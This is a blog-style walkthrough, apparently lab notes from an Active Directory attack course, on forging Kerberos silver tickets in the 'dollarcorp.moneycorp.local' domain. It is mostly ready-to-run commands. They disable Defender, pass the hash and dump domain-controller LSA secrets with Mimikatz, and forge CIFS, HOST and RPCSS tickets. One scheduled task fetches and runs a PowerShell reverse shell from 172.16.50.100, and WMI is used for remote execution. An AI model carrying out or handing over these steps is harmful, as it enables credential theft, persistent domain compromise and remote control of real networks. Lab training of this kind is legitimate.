For golden ticket the trust is the hash of krbtgt account hash. If dc successfully decrypts the TGT using krbtgt account hash, then it assumes that its a valid TGT.
For silver ticket the trust is the service account or computer account ntlm/rc4 password hash. If application or service successfully decrypts that then it assumes that its a valid TGS.
In dc, most of the services are running under the context of computer account as service account. i.e. cifs runs with the help of computer account etc. So we will target computer account. Keep in mind that computer account password are changed by default in 30 days by the system. So for maintaining persistence either you can download grade the security so that system not to change computer account password in 30 days or after a period of 30 days you need to collect the new computer account ntlm or rc4 hash again.
Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.
Disable defender:
Set-MpPreference -DisableRealtimeMonitoring $true
. C:\AD\Tools\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'
Now another powershell session will open with domain admin privs.
On that session type below:
$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local
Enter-PSSession -Session $sess
Bypass amsi and disable defender there i mean in dc machine. Then exit.
Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)
Now you are in domain controller machine with the privs of domain admin.
From dc with DA privilege run the below command:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc
or
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Take the dcorp-dc$ computer ntlm or rc4 hash.
Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):
. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:cifs /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'
Now you will get the silver ticket. Give klist command to see that.
Using that ticket access cifs service:
ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
You will get access.
Command Execution using silver ticket:
There are various ways to achieve command execution using silver ticket:
So we will create a HOST SPN that will allow us to schedule a task on the target which in turn help us to execute commands. Follow the above task first.
Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):
. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'
Give klist command to see.
Now lets see we can list tasks on the remote dc box or not, from studentadmin machine:
schtasks /S dcorp-dc.dollarcorp.moneycorp.local
Then run the main command from studentadmin machine other powershell session. Admin session not required. Non-admin powershell session will also work:
schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString(' 'http://172.16.50.100/Invoke-PowershellTcp.ps1''')'"
or
schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString('http://172.16.50.100/Invoke-PowershellTcp.ps1')'"
You will get the reverse shell now.
Code or command execution via WMI.
It requires HOST SPN and RPCSS service. We already have HOST service. Now lets do it for RPCSS.
From a non-elevated shell of studentadmin user:
. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:RPCSS /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'
From that same machine:
gwmi -Class Win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local
Avi
Comments
Post a Comment